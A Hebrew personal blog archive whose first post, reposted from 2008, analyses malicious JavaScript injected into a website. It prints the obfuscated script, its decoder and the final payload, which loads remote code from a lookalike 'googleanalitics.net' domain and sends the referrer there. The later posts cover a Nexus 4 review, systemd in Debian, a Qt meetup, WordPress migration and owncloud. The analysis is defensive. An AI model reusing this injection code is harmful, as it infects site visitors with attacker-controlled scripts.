ארכיון הקטגוריה: המקור

רשימת פוסטים שיוצגו בפלנטה של המקור

וירוסים בעולם ה־web

(אני מנקה את הבלוג שלי ואני מצאתי משהו שכתבתי ב־2008… פאק… זה היה עוד בתקופה של בלוגלי… הבלוג עבר שתי המרות מאז… מוזר…) אני מפרסם בלי עריכה. תהנו.

אני חייב להתחיל את הפוסט הזה בכך שאני מסיר כל אחריות מכל מה שכתוב כאן: הרעיון לא שלי, הביצוע לא שלי, ולפרוץ ולהרוס מערכות מחשב זה מעשה פלילי. כל מי שעושה דברים כאלו הוא לא מישהו רצוי בבלוג הזה ויכול ללכת, לדחוף את האצבע שלו בתחת ולבדוק מה הטעם.

המשך הפוסט הזה מנתח וירוס אמיתי שנמצא בחוץ, ואני לא מצזנזר אף חלק ממנו. מי שחושב שעכשיו אני נתתי למלא script kiddies חומר חדש לתקוף אתרים הוא בור ולא מבין את הבעייה האמיתית: הבורות של אנשים הממוצעים, ורמת התכחום הטכנולוגית של הבעייה. רק על ידי ניתוח אמיתי ופתוח של בעיות אפשר לפתור אותם, ולא על ידי הסתרה שלהן.

בעבודה הבוס מבקש ממני שאני אכנס לאתר ואני אבדוק אם יש שם וירוס (לא, זה לא כי אני מריץ לינוקס 64ביט, הוא גם ביקש ממפתח שמריץ XP…). אני מסתכל על הקוד HTML שיש באתר ואני רואה:

<script>
uluf="%";
of="<i73i63i72i69pti20lai6eguagi65i3dji61vi61si63ri69pt>i20
i66uni63ti69oi6ei20i6ci69v(sn){vai72
sh,ui78i76=\"i308i2b;i69i20oi68Fdi26|*y4i4fli6ei40(#i36i6apIsZi77i39vi24i5dGi78i5ci22tKi54mg3!i2dei7bi5b:i27)i71}c1i3d7.i62JCi4dN^5i7ai66u_i60i42i55rk,aAEi482~Vi50\",ti74i6ei3di22\",i7ac,oui2ctri3d\"\"i2cci63;i66oi72i28si68=i30;i73i68<sn.length;i73h+i2b)i7bi20zi63=si6e.chi61i72i41ti28i73i68)i3bou=i75i78i76.i69i6edexOf(zi63)i3bi69f(i6fui3e-i31i29i7bi20i63c=(i28oi75i2b1i29i25i381-i31i29;i69i66i28ci63i3ci3d0i29ci63+i3di381;i74ri2bi3dui78v.i63hari41t(ci63-i31i29;
i7di20i65i6cse
i74r+=zc;}ttni2bi3dtri3bi64i6fi63i75mei6et.i77i72i69te(ti74n);}<i2fi73i63ri69i70i74>";
vmpq=unescape(of.replace(/i/g,uluf));
var bwn,yug;
document.write(vmpq);
bwn="<Z1k IKonA@3_A3{7tpA$AZ1k IKt>o&h1_g{@Kb9k
K{#ot<SMRs0monA@3_A3{7tCA$AS1k IKtoSRM7tFKKI'//999b3hh3n{A@An K
1Zb@{K/``_KJbpZ?t;&h1_g{@Kbk{u{kk{k;tt></SMRs0m>toqio</Z1k IK>oo";
liv(bwn);
</script>

אוקי מעניין, אפילו מעניין מאוד… אני מסתכל על זה ומנחש שהקוד הראשון, בעצם יעשה מין eval()‎ להמשך, ואז תהיה לי פונקציה בשםliv()‎ שהיא תעשה את החלק המעניין. אז אני מעתיק את הקוד לקובץ נקי, ובמקום להציג על “המסך”, אני שופך אותו אל textarea ואז אני יכול להסתכל על הקוד שהדפדפן יראה. הפונקציה liv()‎ נראית ככה:

function liv(sn)
{
    var sh,uxv="08+;i
ohFd&|*y4Oln@(#6jpIsZw9v$]Gx\"tKTmg3!-e{[:')q}c1=7.bJCMN^5zfu_`BUrk,aAEH2~VP",ttn="",zc,ou,tr="",cc;
    for(sh=0;sh<sn.length;sh++){
            zc=sn.charAt(sh);
            ou=uxv.indexOf(zc);
            if(ou>-1){
                cc=((ou+1)%81-1);
                if(cc<=0)cc+=81;tr+=uxv.charAt(cc-1);
            }
            else
                tr+=zc;
    }
    ttn+=tr;
    //document.write(ttn);
    document.getElementById("idTextArea").value = ttn;
}

אוקי, אז הקוד עצמו מקודד פעמיים ורק אז הוא מריץ את הקוד האמיתי!

איזה הפתעה קיבלתי כאשר טיפלתי בקוד שוב ובמקום “להדפיס על המסך” אני שופך את המידע ל־textarea. מה שהיה שם כתוב כאן:

<script language="javascript"> document.write( "<SCRIPT
language=\"JavaScript\"
SRC=\"http://www.googleanalitics.net/__utb.js?"+document.referrer+"\"></SCRIPT>"
); </script>

למי שלא מבין מה כתוב פה, זה בעצם טוען JavaScript חיצוני ושם קורא כל הכיף… אבל הקובץ הזה מאוכסן באתר של התוקף ויש לו שליטה מלאה על מה שקורה ולא צריך להתחכם יותר מדי… אבל, מה שבאמת מעניין כאן, זה הכתובת של האתר. מישהו מזייף אתר עם כתובת דומה לשירות של גוגל, במקום סיומת ‎ .com בעל סיומת ‏‎.net אין מה להגיד, פשוט גאוני! אי אפשר לצפות מאנשים שמתחזקים אתר אינטרנט בתור אוסף של קבצי HTML להבין מה בעצם קרה כאן!

הקושי האמיתי פה הוא לישתול את הקוד באתר הנתקף. לפי דעתי, החלק הזה גם טריויאלי: פשוט קונים אתר בחברה שעושה shared hosting ואז יש לנו גישה פיזית למכונה.

Share Button

ביקורת – נקסוס 4

לפני שנה קניתי נקסוס 4 (ביום שיצא נקסוס 5, היה בעסה לקרא את זה ברגע שהדלקתי את המכשיר…) לא כתבתי ביקורת עליו, אז אני חושב שהגיע הזמן. הפוסט הוא לא נחמד מדי… אז אם יש לך קיבה רגישה, תמשיך הלאה (הביקורת לא ממש מחמיאה). אני אשמח לשמוע ממישהו שיש לו נקסוס 5, האם הבעיות שונות או דומות?

מבחינת חומרה:

  1. המכשיר מגיע בלי אוזניות. אם תחברו אליו אוזניות של סמסונג – לא תכלו לשלוט על עוצמת הווליום. כנ״ל עם אוזניות של אפל. הכפתור כדי לענות לשיחה עובד בשני הסטים של האוזניות.
  2. המכשיר מגיע בלי מטען לרכב.
  3. מגיע כבל USB ארוך יחסית (יש!) ולו כזה חיבור לקיר. החיבור לקיר הוא לא מתאים לכל שקע – יש שקעים ישנים שבהם אני לא מצליח להכניס אותו כלל (התקן הישראלי הישן – הוא קצת יותר קטן מהאירופאי).
  4. הוא מרגיש מאוד שביר… אחרי כמה חודשים אני כמעט מרגיש שהמסך רופף טיפה… עוד שנה, אני מתחיל לפחד שהחיבור של ה-USB יתפרק.
  5. הסלולה פנימית, וצריך לפרק את המכשיר כדי להחליף אותה. הברגים הם לא ברגים רגילים (לא שטוח ולא פיליפס) והם בקוטר ממש קטן – אז אני אצתרך לקנות מפתוח מיוחד.
  6. מגנים, מקלדות חיצוניות… כל ה-Accesories.. כמעט ולא קיימים למכשיר ומה שיש יחסית יקר. מגנים שקופים אפשר למצוא… אבל יחסית ביוקר (של אייפון ממש זולים… ייצור המוני…)
  7. הרמקול החיצוני פשוט נשמע רע וצפצפני.
  8. כשאני משתמש באוזניות של סמסונג אנשים מתלוננים שאי אפשר להבין אותי. אני חוזר להשתמש במיקרופון המובנה (בלי אוזניות) ואנשים שומעים אותי. אותו סיפור כשאני משתמש באוזניות של אייפון (האוזניות אמורות להיות טובות… לא?). יש לי זוג אוזניות שלישי שלא שומעים אותי דרכן, הבעייה היא במכשיר.
  9. המסך פשוט… נראה רע. הוא בהיר… אבל ניגודיות הצבעים היא די גרועה. השוותי לגלקסי 4, וגלקסי 3 מיני ומול אייפון 5, וזה פשוט רע. השוואתי מול גלקסי 1 – והפרדת הצבעים של הגלקסי הייתה יותר טובה, פשוט הנקסוס היה בהיר יותר.

מבחינת תוכנה:

  1. מצד אחד מעניין. יש המון מערכות הפעלה אלטרנטיביות, ואם יודעים לכבות את המכשיר אז זה מאוד כיף. ואני לא מדבר רק על מודים של אנדרויד, אלא דברים מוזרים באמת (אובונטו, פיירפוקס, Sailfish – מערכת ההפעלה של Jolla).
  2. מצד שני – כל שאר מערכות ההפעלה פשוט חרא בלבן. לא שוות הפעלה במשך יומיים. תמיד חזרתי אל CyanogenMod או אל Stock/Vanilla.
  3. הרומים של אנדרויד שמסתובבים ברשת – הם לא רעים. כולם עובדים ״חלק״. למעט זה שבכולם המכשיר מתחמם. מאוד. לפעמים מחזיקים את הטלפון בזמן עיון ב-Reddit ואתה מרגיש צריבה קטנה (*).
  4. השימוש ב-GPS פשוט גומר את הסוללה ובמהלך היום המכשיר מתחם כל כך, שהוא מפסיק להיטען. ותוך 20-30 דקות הוא פשוט נכבה (גם כשהוא מחובר לחשמל של האוטו). (**)
  5. הזמן שסוללה מחזיקה הוא בערך 20 שעות כשהיא חדשה. היום היא מחזיקה 16-18 שעות. בדרך כלל פחות.Screenshot_2014-09-16-09-35-00
  6. שימוש בשיתוף אינטרנט גם… גורם להתחממות קשה וגומרת את הסוללה מהר מדי. אפילו ברום הרגיל של KitKat.. המכשיר מתחמם יותר מדי. לא נוח לאחיזה.

אני חזרתי להשתמש ברום הסטוק של גוגל כדי לבדוק לעומק את טענות 3,4. אני צריך לבדוק את זה במשך כמה שבועות…

בקיצור – זהו מכשיר זול. אל תצפו ממנו להרבה. נראה ש-LG עשו את המינימום שהיה אפשר כדי לקבל את החותמת של גוגל/נקסוס. הוא מנסה לגרום לך להרגיש כאילו קנית מכשיר premium אבל בגודרי – קיבלת מכשיר בינוני. אבל מגניב.

לגבי נקסוס 5: ואללה… לא יודע. אולי הוא מכשיר יותר טוב.

לגבי נקסוס 6: אין מצב. לא מתקרב לזה. הנקסוס 4 שיש לי גדול לי מדי. אני רוצה מכשיר שאפשר לתפעל ביד אחת. בשביל שתי ידיים אני רוצה מקלדת פיזית. לא תודה.

(*) אני גולש ברכבת, זה אומר צינור גדול שכנראה משתמש כמו כלוב פארדיי ויש מלא אנשים אחרים שטוחנים את אותן אנטנות שאני טוחן. אני גם בגולן שיש להם רשת ממש גרועה. ייתכן ששילוב של אלו זה מה שגורם למכשיר להתנהג ככה.

(**) המטען שלי לרכב הוא לא מקורי… הוא די ליפה… אז ייתכן והוא דפוק. ייתכן גם השמש היוקדת על מכשיר שחור גורמת לו להתחמם. מצד שני – אלו בעיות של המכשיר בכל זאת. בנהיגות בלילה, גם וויז וגם המפות של גוגל לוקחות יותר חשמל מאשר המטען מספק – ולכן רמת הטעינה יורדת לאט במהלך הנסיעה, בגלקסי1 שלי בהתחלה זה אשכרה היה מטעין את המכשיר…(***).

(***) וויז היה שונה אז… ייתכן והתוכנה החדשה עושה המון חישובים מקומיים שגורמת למכשיר לעבור קשה ולגמור את הסוללה, ההשוואה היא לא מתאימה.

Share Button

דביאן שידרגו אל systemd

המחשב הנייד שלי לא הלך לישון. לא מצאתי את הכניסות הללו בתפריטים של KDE. זה גרם לי לחפש באניטרנט ומצאתי מה נשתנה: דביאן testing עברו כבר אל systemd במקום systemv-init. המעבר היה יחסית חלק.

עדכנתי מחדש מערכת, עשיתי reboot והכל הסתדר. נראה שהייתה בעייה וכבר פתרו אותה. נחמד.  מי שרוצה – פרטים אפשר למצוא כאן: https://wiki.debian.org/systemd

Share Button

לא לסמוך על מיקרוסופט (היה: כנס דרוידקון ישראל)

יש לי פוסט שישב אצלי ברשימת הטיוטות, אבל לא פרסמתי. היה נראה לי פשוט רע או לא ערוך מספיק.  הסיבה שאני משחרר את זה ככה (כלי סדר, בדיקות שגיאות ועוד) היא חברינו מיקרוספט.

בכנס שהיה חודש שעבר, היו להן שתי הרצאות שבהן דיברו על NokiaX. הם דיברו בעבר על מילארד מכשירים הבאים, ועוד שקרים. השבוע הם חיסלו את כל מה שנשאר מהפיתוח של נוקיה. כולל מכשירי האנרדויד שלהם. אני משאיר פה את שארית הפוסט כמו שהיה אצלי בבלוג. תחשבו על זה.

להמשיך לקרוא לא לסמוך על מיקרוסופט (היה: כנס דרוידקון ישראל)

Share Button

1.7: מפגש מתכנתי Qt בנושא אנדרואיד

ביום ג, ה 1/7 נקיים מפגש מפתחים בנושא ארכיטקטורת Android למפתחי Qt. המפגש יתקיים בקמפוס גוגל, מגדל אלקטרה ת״א קומה 26. 


אני ארצה שם אודות פיתוח ב-Qt עבור Android. לפרטים והרשמה בחינם:
http://www.meetup.com/QtEverywhere/Tel-Aviv-Yafo-IL/1026432/

תוכנית המפגש:

Qt 5.3 מספקת הזדמנות אמיתית למפתחים לכתוב אפליקציות חוצות פלטפורמות הכוללות גם מובייל: אייפון, אנדרואיד ו־Windows Phone. הפריימוורק מאפשר גישה מלאה ליכולות הטלפון, בנוסף לממשקי תכנות נוחים (APIs) עבור חיישנים, רשת, בלוטות’ ומולטימדיה.

אם אתם מתכוונים להגיע, נא להירשם בעמוד האירוע במיטאפ כאן:
http://www.meetup.com/QtEverywhere/Tel-Aviv-Yafo-IL/1026432/

Share Button

מחשבות כפירה

בזמן האחרון אני משתמש במקבוק פרו בתור מחשב ראשי. מדובר על מחשב בגודל 13 אינצ׳ ממש קליל, ובעל SSD. זה שיפור ענק בשבילי מאז המחשב הנייד הקודם שלי (לנובו 3000 ישן בעל דיסק מכאני). אני משתמש כאן במאק ולא התקנתי לינוקס, מטעמי עבודה. זה אולי תירוץ, אבל אני מפחד להיתקע בלי רשת (אין כרטיס רשת חוטי כאן רק Wifi).

האמת? המחשב בנוי בצורה מדהימה. הוא מרגיש ממש קשיח וזמן הסוללה שלו מצויין כרגע מודיע לי שיש לי 6:13 שעות עבודה (ויצא לי לראות על המסך כמה פעמים 7,8 שעות עבודה). המקלדת יחסית בסדר (למעט זה שחסר home/end אבל יש מקשים אחרים שעושים את העבודה). המערכת יחסית שמישה. המסוף פה בסדר, ודפדפן ספארי הוא חוסך בסוללה בטירוף (זה נותן לי בערך שעתיים יותר סוללה). הוא לא מתחמם ועד שהתחלתי לשחק סטארקרפט לא ידעתי שיש פה מאוורר, וכשהוא כן עובד – הוא ממש שקט.

מצד שני, בלינוקס אני לא ממש מרוצה. אני רוצה ש-Wayland יכנס כבר לשימוש. יש לי רגשות מעורבים בקשר ל־systemd. כמו כן KDE הוא בקושי שולחן עבודה (ולא סביבת עבודה). הדפדפן שלהם לא מספיק טוב אז אני משתמש ב-Firefox, KMail פשוט לא עובד אצלי אז אני משתמש ב-Thunderbird, בתור עורך kate ממש טוב, אבל Sublime יותר יפה ואני מוצא את עצמי משתמש יותר ויותר בסביבות עבודה משולבות כמו AndroidStudio או QtCreator. מה שנשאר לי זה מסוף מנהל החלונות והפאנל/מכתבה.  זה כל מה שאני משתמש מ-KDE.

אני פוזל לכיוון של LXQT אבל הוא ממש לא בשל לשימוש ומאוד פרימיטיבי. זאת סביבת העבודה של שנות ה-2000 שכתובה בטכנולוגיה מיושנת (הם משתמשים ב-Qt4 ולא Qt5).

בעצם, דביאן מתפקד מצויין. אני מקבל עדכונים שטופים והכל ממש יציב (למעט הבעיות של פלאש שהפסיק לעבוד בכרומיום).  אולי שווה להודות שהשולחן עבודה כבר ״עשוי״. הוא התיייצב, ואין מקום לשינויים גדולים. אולי האתגר נמצא כיום במכשירים ניידים. חבל שאנדרויד שולט שם.

 

Share Button

מעבר אל וורדפרס מדרופל

לפני שנים רבות פתחתי אתר בבלוגלי. כשהאתר נסגר, ייצאתי את התוכן שלי וייבאתי אותו אל אתר דרופל משלי. למה דרופל? כי באותה תקופה עבדתי בתור מתכנת דרופל והכרתי את הפלטפורמה.

הבעייה היא שמאוד קשה לעבוד עם דרופל. התחזוקה של האתר לא מתבצעת דרך הווב, ועורכי הטקסט (כן, אני מכיר את wysiwyg) די דרעק. נכון, בדרופל 7 הם השתכללו אבל הם עדיין ממש רעים וקשה לי לעבוד איתם. כמו כן – התמיכה בעברית של וורספרס יותר טובה – העיצובים תומכים ב־RTL ממש יפה, ועורך הטקסט לא מנסה להתעלל בי.

אז העברתי את האתר שלי לוורדפרס. ולצורך זה השתמשתי בקוד הבא: http://robinsingh.name/migrate-drupal-7-to-wordpress-3-x/ זהו פשוט תסריט php שהפעלתי משורת הפקודה והוא העביר את ה־nodes של דרופל לכאן.

בנוסף גם התקנתי בוורדפרס את התוספים הבאים:

  1. http://wordpress.org/plugins/polylang/ – תמיכה בריבוי שפות. נהנתי ממנו יותר מאשר i18n של דרופל, הוא מרגיש יותר טוב אבל יש לו חסרונות. למשל, לעמוד “אודות” שלי לא יכול להיות אותו שם באנגלית או עברית. זאת אומרת, אותה “כתובת”. שחקו פה ותבינו.
  2. http://wordpress.org/plugins/wp-rtl/ – מאפשר לשנות את כיוון כתיבת התוכן. חובה.
  3. https://wordpress.org/plugins/hebrewdates/ אופסי, קישור לא נכון
    http://wordpress.org/plugins/wordpress-hebrew-date/ – מוסיף תאריך עברי לכל פוסט. סתם לכיף. [תודה לחתול על התיקון]
  4. http://wordpress.org/plugins/hupso-share-buttons-for-twitter-facebook-google/ – לשיתוף של פוסטים
  5. https://wordpress.org/plugins/quick-pagepost-redirect-plugin/ – מאפשר לי לעשות redirect לכתובות.

גיליתי שבעת המעבר לשרת חדש צריך לעדכן את כתובת הבסיס של האתר (כפי שמתואר כאן), אבל המודול Polylang הפריע לי די הרבה. הפתרון שלי היה לכבות אותו, לשנות את כתובת האתר ולהפעיל מחדש.

כמו כן – הפוסטים שייבאתי מבלוגלי (לפני 2010) לא הפיעו כאן. היו כמה בעיות נוספות:

  1. הפוסטים ייובאו לכאן בתור story ולא post. שאילתת SQL פשוטה ואני יכול לראות אותך ברשימת הפוסטים בממשק הניהול אבל לא באתר.
  2. כדי לראות אותם באתר – הייתי צריך ללכת לממשק הניהול של המודול Polylang ולהגדיר שפת ברירת מחדל עבור כל הפוסטים שאין להם שפה. באופן מפתיע – אלי שלא ראיתי (הפוסטים שכתבתי באתר דרופל שלי כן עבדו).
  3. הבעייה האחרונה הייתה שהקישורים בפוסטים (בכותרת, לפוסט עצמו) לא עבדו והיה קישור לעמוד הראשי. זה היה כי סוג הקישור היה מוגדר להיות שם הפוסט. וחלק מהפוסטים לא היה לשם שם… הפתרון – לתת מספר ואחרי זה השם.

 

Share Button

חופש -שימוש ב־owncloud

כל משתמש אנדרויד שחובב חופש מנסה להימנע מהידיים של גוגל. אז מתקינים רומים נקיים (אני משתמש ב־cyanogenmod שאני בונה בעצמי). השלב הבא הוא להוציא את השירותים של גוגל. נתחיל מהמרק, במקומו נשתמש ב־fdroid והיא תוכנה שמתקינים על הסלולרי ומהווה חנות וירטואלית שמכילה רק תוכנות חופשיות. התוכנות שם די מאעפנות… זה לא מה שאני רגיל אליו ב”לינוקס”. אני מניח שהעולם הזה עוד מתפתח ואני יכול לצפות לטובה. (דיברתי על זה בפוסט אחר, http://cucomania.dyndns.info/node/236).

אני משתמש גם ב־owncloud בתור שרת. זה מחליף את dropbox היומנים של גוגל ואנשי הקשר. הבעייה כאן, היא שיש המון הגדרות לעשות ידנית במכשיר, ואין תוכנה אחת שמטפלת בכל הפונקציונליות.

התוכנות המדוברות כאן תוכנות חופשיות, וזמינות בשרתים של FDroid (אפשר להתקין הכל מהתוכנה).

Share Button